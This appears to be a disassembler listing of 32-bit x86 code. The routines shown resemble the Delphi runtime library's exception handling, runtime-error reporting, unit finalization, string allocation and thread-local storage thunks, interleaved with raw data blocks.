408DC3h, 1974C985h, 8001418Bh, 0C74E939h dd 75EB3980h, 0C0BE0F0Ch, 3EB4141h, 105C183h, 0C08BC3C1h dd 40103D80h, 76010040h, 5152501Dh, 0FFFFCFE8h, 6A5451FFh dd 68006A01h, 0EEDFAE1h, 501015FFh, 59590040h, 90C3585Ah dd 40103D80h, 76010040h, 6A545212h, 68006A01h, 0EEDFAE2h dd 501015FFh, 0C35A0040h, 3D805250h, 404010h, 54107601h dd 6A026Ah, 0EDFAE368h, 1015FF0Eh, 5A004050h, 0C08BC358h dd 424448Bh, 60440F7h, 0F000000h, 11385h, 0DE388100h, 8B0EEDFAh dd 488B1850h, 0FC6E7414h, 0FFFED3E8h, 0C158BFFh, 85004050h dd 0F1840FD2h, 0FF000000h, 0FC085D2h, 0E784h, 24548B00h dd 244C8B0Ch, 0CE398104h, 740EEFFAh, 0FEDAE837h, 3D80FFFFh dd 404014h, 80297600h, 4040103Dh, 20770000h, 4244C8Dh dd 4DE85150h, 83FFFFE7h, 0F5800F8h, 0AB84h, 8BC28900h dd 8B042444h, 30EB0C48h, 448BC289h, 488B0424h, 143D800Ch dd 1004040h, 3D801E76h, 404010h, 50157700h, 824448Dh, 0E8505152h dd 0FFFFE710h, 5900F883h, 7074585Ah, 2044883h, 56DB3153h dd 8B645557h, 5250531Bh, 24548B51h, 50006A28h, 40293468h dd 15FF5200h, 405014h, 28247C8Bh, 93FE8h, 0B0FF00h, 89000000h dd 0A0h, 86F8B00h, 0C7045F8Bh, 29600447h, 0C3830040h, 0FE66E805h dd 0E3FFFFFFh, 23E9h, 912E800h, 888B0000h, 0 dd 9089118Bh, 0 dd 0E908418Bh, 0FFFFFDE0h, 1B8h, 0C08BC300h, 424448Bh dd 824548Bh, 60440F7h, 74000000h, 44A8B1Fh, 0B80442C7h dd 53004029h, 8B555756h, 0C183086Ah, 0FE46E805h, 0D1FFFFFFh dd 5B5E5F5Dh, 1B8h, 0C08BC300h, 3024448Bh, 0B0440C7h, 0E800402Ah dd 8ACh, 908Bh, 0A8B0000h, 8889h, 428B0000h, 460830Ch dd 0DE3881FDh, 740EEDFAh, 8428B0Dh, 0FFFD6BE8h, 0FD72E8FFh dd 0C031FFFFh, 6414C483h, 8B59108Bh, 5D118912h, 0B85B5E5Fh dd 1, 408DC3h, 863E8h, 908B00h, 8B000000h, 88890Ah, 8B000000h dd 31E80842h, 5AFFFFFDh, 2C24648Bh, 6459C031h, 5D580889h dd 0FFFDDFE8h, 0C3E2FFFFh ; =============== S U B R O U T I N E ======================================= sub_3D5E44 proc near ; CODE XREF: sub_3D5264+F5p ; sub_3D5264+14Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor edx, edx mov ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, 5 mov fs:[edx], eax call ecx retn 0Ch sub_3D5E44 endp ; --------------------------------------------------------------------------- db 0C3h, 8Bh, 0C0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_3D5E97 jz short loc_3D5EC9 cmp eax, 0C000008Eh jg short loc_3D5E89 jz short loc_3D5ECD sub eax, 0C0000005h jz short loc_3D5ED9 sub eax, 87h jz short loc_3D5EC1 dec eax jz short loc_3D5ED5 jmp short loc_3D5EE9 ; --------------------------------------------------------------------------- loc_3D5E89: ; CODE XREF: .data:003D5E72j add eax, 3FFFFF71h sub eax, 2 jb short loc_3D5EC9 jz short loc_3D5EC5 jmp short loc_3D5EE9 ; --------------------------------------------------------------------------- loc_3D5E97: ; CODE XREF: .data:003D5E69j cmp eax, 0C0000096h jg short loc_3D5EAF jz short loc_3D5EDD sub eax, 0C0000093h jz short loc_3D5ED5 dec eax jz short loc_3D5EBD dec eax jz short loc_3D5ED1 jmp short loc_3D5EE9 ; --------------------------------------------------------------------------- loc_3D5EAF: ; CODE XREF: .data:003D5E9Cj sub eax, 0C00000FDh jz short loc_3D5EE5 sub eax, 3Dh jz short loc_3D5EE1 jmp short loc_3D5EE9 ; --------------------------------------------------------------------------- loc_3D5EBD: ; CODE XREF: .data:003D5EA8j mov al, 0C8h jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EC1: ; CODE XREF: .data:003D5E82j mov al, 0C9h jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EC5: ; CODE XREF: .data:003D5E93j mov al, 0CDh jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EC9: ; CODE XREF: .data:003D5E6Bj ; .data:003D5E91j mov al, 0CFh jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5ECD: ; CODE XREF: .data:003D5E74j mov al, 0C8h jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5ED1: ; CODE XREF: .data:003D5EABj mov al, 0D7h jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5ED5: ; CODE XREF: .data:003D5E85j ; .data:003D5EA5j mov al, 0CEh jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5ED9: ; CODE XREF: .data:003D5E7Bj mov al, 0D8h jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EDD: ; CODE XREF: .data:003D5E9Ej mov al, 0DAh jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EE1: ; CODE XREF: .data:003D5EB9j mov al, 0D9h jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EE5: ; CODE XREF: .data:003D5EB4j mov al, 0CAh jmp short loc_3D5EEB ; --------------------------------------------------------------------------- loc_3D5EE9: ; CODE XREF: .data:003D5E87j ; .data:003D5E95j ... mov al, 0FFh loc_3D5EEB: ; CODE XREF: .data:003D5EBFj ; .data:003D5EC3j ... and eax, 0FFh mov edx, [edx+0Ch] call sub_3D5878 ; --------------------------------------------------------------------------- dd 4C25Dh, 424448Bh, 60440F7h, 0F000000h, 8985h, 103D8000h dd 4040h, 448D0F77h, 0E8500424h, 0FFFFE4F8h, 7400F883h dd 24448B71h, 25E8FC04h, 8BFFFFFCh, 6A082454h, 42685000h dd 5200402Bh, 501415FFh, 5C8B0040h, 3B810424h, 0EEDFADEh dd 8B14538Bh, 1D741843h, 500C158Bh, 0D2850040h, 0FEFA840Fh dd 0D889FFFFh, 0C085D2FFh, 0FEEE840Fh, 538BFFFFh, 0FCC6E80Ch dd 0D8BFFFFh, 405004h, 274C985h, 4C8BD1FFh, 0D9B80424h dd 8B000000h, 14891451h, 34AE924h, 0C0310000h, 408DC3h ; =============== S U B R O U T I N E ======================================= sub_3D5F9C proc near ; CODE XREF: sub_3D60A4+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset dword_402AFC mov [eax+8], ebp mov dword_405624, eax retn sub_3D5F9C endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D5FBC proc near ; CODE XREF: sub_3D61FC:loc_3D6286p xor edx, edx mov eax, dword_405624 test eax, eax jz short locret_3D5FE3 mov ecx, fs:[edx] cmp eax, ecx jnz short loc_3D5FD6 mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_3D5FD4: ; CODE XREF: sub_3D5FBC+21j mov ecx, [ecx] loc_3D5FD6: ; CODE XREF: sub_3D5FBC+10j cmp ecx, 0FFFFFFFFh jz short locret_3D5FE3 cmp [ecx], eax jnz short loc_3D5FD4 mov eax, [eax] mov [ecx], eax locret_3D5FE3: ; CODE XREF: sub_3D5FBC+9j ; sub_3D5FBC+1Dj retn sub_3D5FBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D5FE4 proc near ; CODE XREF: sub_3D61FC:loc_3D6255p push ebp mov ebp, esp push ebx push esi push edi mov edi, offset dword_405620 mov eax, [edi+8] test eax, eax jz short loc_3D603E mov ebx, [edi+0Ch] mov esi, [eax+4] xor edx, edx push ebp push offset word_402C2A push dword ptr fs:[edx] mov fs:[edx], esp test ebx, ebx jle short loc_3D6020 loc_3D600E: ; CODE XREF: sub_3D5FE4+3Aj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_3D601C call eax loc_3D601C: ; CODE XREF: sub_3D5FE4+34j test ebx, ebx jg short loc_3D600E loc_3D6020: ; CODE XREF: sub_3D5FE4+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_3D603E ; --------------------------------------------------------------------------- dw 2DE9h dd 0E8FFFFFCh, 0FFFFFFB0h, 0FFFD87E8h, 0FDD6E8FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_3D603E: ; CODE XREF: sub_3D5FE4+10j ; sub_3D5FE4+44j pop edi pop esi pop ebx pop ebp retn sub_3D5FE4 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D6044 proc near ; CODE XREF: sub_3D60A4+3Ap push ebp mov ebp, esp push ebx push esi push edi mov eax, dword_405628 test eax, eax jz short loc_3D609E mov esi, [eax] xor ebx, ebx mov edi, [eax+4] xor edx, edx push ebp push offset word_402C8A push dword ptr fs:[edx] mov fs:[edx], esp cmp esi, ebx jle short loc_3D6080 loc_3D606C: ; CODE XREF: sub_3D6044+3Aj mov eax, [edi+ebx*8] inc ebx mov dword_40562C, ebx test eax, eax jz short loc_3D607C call eax loc_3D607C: ; CODE XREF: sub_3D6044+34j cmp esi, ebx jg short loc_3D606C loc_3D6080: ; CODE XREF: sub_3D6044+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_3D609E ; --------------------------------------------------------------------------- dw 0CDE9h dd 0E8FFFFFBh, 0FFFFFF50h, 0FFFD27E8h, 0FD76E8FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_3D609E: ; CODE XREF: sub_3D6044+Dj ; sub_3D6044+44j pop edi pop esi pop ebx pop ebp retn sub_3D6044 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D60A4 proc near ; CODE XREF: sub_3D66C8+3Ap mov dword_405010, offset dword_401008 mov dword_405014, offset dword_401010 mov dword_405628, eax xor eax, eax mov dword_40562C, eax mov dword_405630, edx mov eax, [edx+4] mov dword_40501C, eax call sub_3D5F9C mov byte_405024, 0 call sub_3D6044 retn sub_3D60A4 endp ; =============== S U B R O U T I N E ======================================= sub_3D60E4 proc near ; CODE XREF: sub_3D61FC+38p push ebx push esi push edi mov esi, offset aRuntimeErrorAt ; "Runtime error at 00000000" mov cl, 10h mov ebx, dword_404000 loc_3D60F4: ; CODE XREF: sub_3D60E4+33j mov eax, ebx mov edi, 0Ah cdq idiv edi add dl, 30h xor eax, eax mov al, cl mov [esi+eax], dl mov eax, ebx mov ebx, 0Ah cdq idiv ebx mov ebx, eax dec ecx test ebx, ebx jnz short loc_3D60F4 mov cl, 1Ch mov eax, dword_404004 loc_3D6120: ; CODE XREF: sub_3D60E4+54j mov edx, eax and edx, 0Fh mov dl, byte_404074[edx] xor ebx, ebx mov bl, cl mov [esi+ebx], dl shr eax, 4 dec ecx test eax, eax jnz short loc_3D6120 pop edi pop esi pop ebx retn sub_3D60E4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D6140 proc near ; CODE XREF: sub_3D61FC+9Ep xor eax, eax xchg eax, dword_404000 neg eax sbb eax, eax inc eax mov edi, offset dword_405620 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_3D6140 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C3h, 8Bh, 0C0h ; =============== S U B R O U T I N E ======================================= sub_3D6170 proc near ; CODE XREF: sub_3D61FC+3Dp var_4 = byte ptr -4 push ecx cmp byte_405034, 0 jz short loc_3D61D1 cmp word_405208, 0D7B2h jnz short loc_3D6199 cmp dword_405210, 0 jbe short loc_3D6199 mov eax, offset dword_405204 call dword_405220 loc_3D6199: ; CODE XREF: sub_3D6170+13j ; sub_3D6170+1Cj push 0 lea eax, [esp+8+var_4] push eax push 1Eh push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0FFFFFFF5h call sub_3D4400 ; GetStdHandle push eax call sub_3D4420 ; WriteFile push 0 lea eax, [esp+8+var_4] push eax push 2 push offset dword_402DF8 push 0FFFFFFF5h call sub_3D4400 ; GetStdHandle push eax call sub_3D4420 ; WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_3D61D1: ; CODE XREF: sub_3D6170+8j cmp byte_404018, 0 jnz short loc_3D61ED push 0 push offset aError ; "Error" push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0 call sub_3D4430 loc_3D61ED: ; CODE XREF: sub_3D6170+68j pop edx retn sub_3D6170 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 2, 0A0Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3D61FC proc near ; CODE XREF: sub_3D62D4+5p ; .data:003D6967p push ebx push esi push edi push ebp mov ebx, offset dword_405620 mov esi, offset dword_404000 mov edi, offset dword_405030 cmp byte ptr [ebx+28h], 0 jnz short loc_3D622B cmp dword ptr [edi], 0 jz short loc_3D622B loc_3D621A: ; CODE XREF: sub_3D61FC+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_3D621A loc_3D622B: ; CODE XREF: sub_3D61FC+17j ; sub_3D61FC+1Cj cmp dword_404004, 0 jz short loc_3D6245 call sub_3D60E4 call sub_3D6170 xor eax, eax mov dword_404004, eax loc_3D6245: ; CODE XREF: sub_3D61FC+36j ; sub_3D61FC+CEj cmp byte ptr [ebx+28h], 2 jnz short loc_3D6255 cmp dword ptr [esi], 0 jnz short loc_3D6255 xor eax, eax mov [ebx+0Ch], eax loc_3D6255: ; CODE XREF: sub_3D61FC+4Dj ; sub_3D61FC+52j call sub_3D5FE4 cmp byte ptr [ebx+28h], 1 jbe short loc_3D6265 cmp dword ptr [esi], 0 jz short loc_3D6286 loc_3D6265: ; CODE XREF: sub_3D61FC+62j mov eax, [ebx+10h] test eax, eax jz short loc_3D6286 call sub_3D63F8 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_3D6286 test eax, eax jz short loc_3D6286 push eax call sub_3D4438 ; FreeLibrary loc_3D6286: ; CODE XREF: sub_3D61FC+67j ; sub_3D61FC+6Ej ... call sub_3D5FBC cmp byte ptr [ebx+28h], 1 jnz short loc_3D6294 call dword ptr [ebx+24h] loc_3D6294: ; CODE XREF: sub_3D61FC+93j cmp byte ptr [ebx+28h], 0 jz short loc_3D629F call sub_3D6140 loc_3D629F: ; CODE XREF: sub_3D61FC+9Cj cmp dword ptr [ebx], 0 jnz short loc_3D62BB cmp dword_405018, 0 jz short loc_3D62B3 call dword_405018 loc_3D62B3: ; CODE XREF: sub_3D61FC+AFj mov eax, [esi] push eax call sub_3D4428 ; ExitProcess loc_3D62BB: ; CODE XREF: sub_3D61FC+A6j mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_3D6245 sub_3D61FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Dh dd 0C35B5E5Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3D62D4 proc near ; CODE XREF: sub_3D5878+6p ; sub_3D62E0+6j mov dword_404000, eax call sub_3D61FC sub_3D62D4 endp ; --------------------------------------------------------------------------- dw 90C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3D62E0 proc near ; CODE XREF: sub_3D6638+1Ap ; sub_3D6638+2Fp pop dword_404004 jmp sub_3D62D4 sub_3D62E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= sub_3D62EC proc near ; CODE XREF: sub_3D633C+23p ; .data:003D64C8p mov edx, [eax] test edx, edx jz short locret_3D630E mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_3D630E lock dec dword ptr [edx-8] jnz short locret_3D630E push eax lea eax, [edx-8] call sub_3D5858 pop eax locret_3D630E: ; CODE XREF: sub_3D62EC+4j ; sub_3D62EC+10j ... retn sub_3D62EC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D6310 proc near ; CODE XREF: sub_3D633C+Bp test eax, eax jle short loc_3D6338 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_3D5838 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_3D6338: ; CODE XREF: sub_3D6310+2j xor eax, eax retn sub_3D6310 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D633C proc near ; CODE XREF: sub_3D636C+12j push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_3D6310 mov ecx, edi mov edi, eax test esi, esi jz short loc_3D635D mov edx, eax mov eax, esi call sub_3D58EC loc_3D635D: ; CODE XREF: sub_3D633C+16j mov eax, ebx call sub_3D62EC mov [ebx], edi pop edi pop esi pop ebx retn sub_3D633C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D636C proc near ; CODE XREF: .data:003D649Ep push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_3D6379 not ecx loc_3D6379: ; CODE XREF: sub_3D636C+9j pop eax add ecx, eax pop eax pop edi jmp sub_3D633C sub_3D636C endp ; --------------------------------------------------------------------------- db 0C3h dd 45E911B0h, 0C3FFFFF5h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D638C proc near ; CODE XREF: sub_3D63F8+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, dword_404020 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_3D63DF loc_3D63A6: ; CODE XREF: sub_3D638C+51j xor eax, eax push ebp push offset byte_402FC7 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_3D63D1 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF890h, 0FFFA43E8h db 0FFh ; --------------------------------------------------------------------------- loc_3D63D1: ; CODE XREF: sub_3D638C+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_3D63A6 loc_3D63DF: ; CODE XREF: sub_3D638C+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_3D638C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D63E8 proc near ; CODE XREF: sub_3D66BC+5p mov edx, dword_40401C mov [eax], edx mov dword_40401C, eax retn sub_3D63E8 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D63F8 proc near ; CODE XREF: sub_3D61FC+70p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax xor edx, edx push ebp push offset dword_40305C push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_3D638C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403063 mov eax, [ebp+var_4] cmp eax, dword_40401C jnz short loc_3D643C mov eax, [ebp+var_4] mov eax, [eax] mov dword_40401C, eax jmp short loc_3D645B ; --------------------------------------------------------------------------- loc_3D643C: ; CODE XREF: sub_3D63F8+36j mov eax, dword_40401C test eax, eax jz short loc_3D645B loc_3D6445: ; CODE XREF: sub_3D63F8+61j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_3D6455 mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short loc_3D645B ; --------------------------------------------------------------------------- loc_3D6455: ; CODE XREF: sub_3D63F8+52j mov eax, [eax] test eax, eax jnz short loc_3D6445 loc_3D645B: ; CODE XREF: sub_3D63F8+42j ; sub_3D63F8+4Bj ... retn sub_3D63F8 endp ; --------------------------------------------------------------------------- dd 0FFF927E9h, 59C2EBFFh, 0C08BC35Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp-10h], edx xor edx, edx push ebp push offset word_4030CE push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp-0Bh] push edx push 1004h push eax call sub_3D4448 ; GetLocaleInfoA lea eax, [ebp-10h] lea edx, [ebp-0Bh] mov ecx, 7 call sub_3D636C mov eax, [ebp-10h] lea edx, [ebp-4] call sub_3D5984 mov ebx, eax cmp dword ptr [ebp-4], 0 jz short loc_3D64B8 xor ebx, ebx loc_3D64B8: ; CODE XREF: .data:003D64B4j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4030D5 lea eax, [ebp-10h] call sub_3D62EC retn ; --------------------------------------------------------------------------- dw 0B5E9h dd 0EBFFFFF8h, 5BC38BF0h, 0C35DE58Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset word_403126 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_4055A4 jnz short loc_3D6518 mov eax, offset dword_405038 call sub_3D592C mov eax, offset dword_405204 call sub_3D592C mov eax, offset dword_4053D0 call sub_3D592C call sub_3D4C3C loc_3D6518: ; CODE XREF: .data:003D64F3j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40312D retn ; --------------------------------------------------------------------------- dw 5DE9h dd 0EBFFFFF8h, 90C35DF8h, 55A42D83h, 0F010040h, 0C583h dd 805C600h, 2004040h, 501005C7h, 10080040h, 5C70040h dd 405014h, 401010h, 503605C6h, 0C7020040h, 40500005h dd 402F8400h, 0F4F2E800h, 0C084FFFFh, 19E80574h, 0E8FFFFF5h dd 0FFFFF5D8h, 3C05C766h, 0B0004050h, 5C766D7h, 405208h dd 0C766D7B0h, 4053D405h, 0E8D7B000h, 0FFFFDEA4h, 40502CA3h dd 0DEE2E800h, 28A3FFFFh, 0E8004050h, 0FFFFDED0h, 25h dd 3D80h, 2D748000h, 0FFDEBFE8h, 0FF25FFh, 83660000h, 0C7604F8h dd 55A805C7h, 30040h, 20EB0000h, 0FFDE7BE8h, 0FE86E8FFh dd 0A8A3FFFFh, 0EB004055h, 0DE6AE80Fh, 75E8FFFFh, 0A3FFFFFEh dd 4055A8h, 0FFDE7BE8h, 5020A3FFh, 90C30040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D6604 proc near ; CODE XREF: sub_3D66C8+Cp jmp dword_4060F8 sub_3D6604 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D660C proc near ; CODE XREF: sub_3D6624+3p jmp dword_4060F4 sub_3D660C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D6614 proc near ; CODE XREF: sub_3D667C+25p ; sub_3D667C+36p jmp dword_4060F0 sub_3D6614 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D661C proc near ; CODE XREF: sub_3D6638+3Dp jmp dword_4060EC sub_3D661C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D6624 proc near ; CODE XREF: sub_3D6638+21p push eax push 40h call sub_3D660C retn sub_3D6624 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D6630 proc near ; CODE XREF: sub_3D6638+1p mov eax, 8 retn sub_3D6630 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D6638 proc near ; CODE XREF: sub_3D667C:loc_3D6696p push ebx call sub_3D6630 mov ebx, eax test ebx, ebx jz short loc_3D667A cmp dword_404084, 0FFFFFFFFh jnz short loc_3D6657 mov eax, 0E2h call sub_3D62E0 ; --------------------------------------------------------------------------- loc_3D6657: ; CODE XREF: sub_3D6638+13j mov eax, ebx call sub_3D6624 test eax, eax jnz short loc_3D666E mov eax, 0E2h call sub_3D62E0 ; --------------------------------------------------------------------------- db 0EBh, 0Ch ; --------------------------------------------------------------------------- loc_3D666E: ; CODE XREF: sub_3D6638+28j push eax mov eax, dword_404084 push eax call sub_3D661C loc_3D667A: ; CODE XREF: sub_3D6638+Aj pop ebx retn sub_3D6638 endp ; =============== S U B R O U T I N E ======================================= sub_3D667C proc near ; CODE XREF: sub_3D5884+20p ; sub_3D58DC+3p mov cl, byte_40564C mov eax, dword_404084 test cl, cl jnz short loc_3D66B1 mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_3D6696: ; CODE XREF: sub_3D667C+3Dj call sub_3D6638 mov eax, dword_404084 push eax call sub_3D6614 test eax, eax jz short loc_3D66AB retn ; --------------------------------------------------------------------------- loc_3D66AB: ; CODE XREF: sub_3D667C+2Cj mov eax, dword_405658 retn ; --------------------------------------------------------------------------- loc_3D66B1: ; CODE XREF: sub_3D667C+Dj push eax call sub_3D6614 test eax, eax jz short loc_3D6696 retn sub_3D667C endp ; =============== S U B R O U T I N E ======================================= sub_3D66BC proc near ; CODE XREF: sub_3D66C8+2Ep mov eax, offset dword_404088 call sub_3D63E8 retn sub_3D66BC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D66C8 proc near ; CODE XREF: .data:003D694Bp push ebx mov ebx, eax xor eax, eax mov dword_404084, eax push 0 call sub_3D6604 mov dword_405650, eax mov eax, dword_405650 mov dword_40408C, eax xor eax, eax mov dword_404090, eax xor eax, eax mov dword_404094, eax call sub_3D66BC mov edx, offset dword_404088 mov eax, ebx call sub_3D60A4 pop ebx retn sub_3D66C8 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403331 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_405654 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403338 retn ; --------------------------------------------------------------------------- db 0E9h, 52h, 0F6h dd 0F8EBFFFFh, 0C08BC35Dh, 56542D83h, 0C3010040h ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset byte_403369 push dword ptr fs:[eax] mov fs:[eax], esp inc dword_40565C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403370 retn ; --------------------------------------------------------------------------- db 0E9h, 1Ah, 0F6h dd 0F8EBFFFFh, 0C08BC35Dh, 565C2D83h, 0C3010040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D677C proc near ; CODE XREF: .data:003D68C7p jmp dword_406130 sub_3D677C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D6784 proc near ; CODE XREF: .data:003D689Bp jmp dword_40612C sub_3D6784 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D678C proc near ; CODE XREF: .data:003D695Bp jmp dword_406128 sub_3D678C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D6794 proc near ; CODE XREF: .data:003D6962p jmp dword_406124 sub_3D6794 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D679C proc near ; CODE XREF: .data:003D685Bp jmp dword_406120 sub_3D679C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67A4 proc near ; CODE XREF: .data:003D684Cp jmp dword_40611C sub_3D67A4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67AC proc near ; CODE XREF: .data:003D68B4p jmp dword_406118 sub_3D67AC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67B4 proc near ; CODE XREF: .data:003D68BAp jmp dword_406114 sub_3D67B4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67BC proc near ; CODE XREF: .data:003D68ABp jmp dword_406110 sub_3D67BC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67C4 proc near ; CODE XREF: .data:003D68D5p jmp dword_40610C sub_3D67C4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67CC proc near ; CODE XREF: .data:003D68C1p jmp dword_406108 sub_3D67CC endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_3D67D4 proc near ; CODE XREF: .data:003D687Dp jmp dword_406104 sub_3D67D4 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= 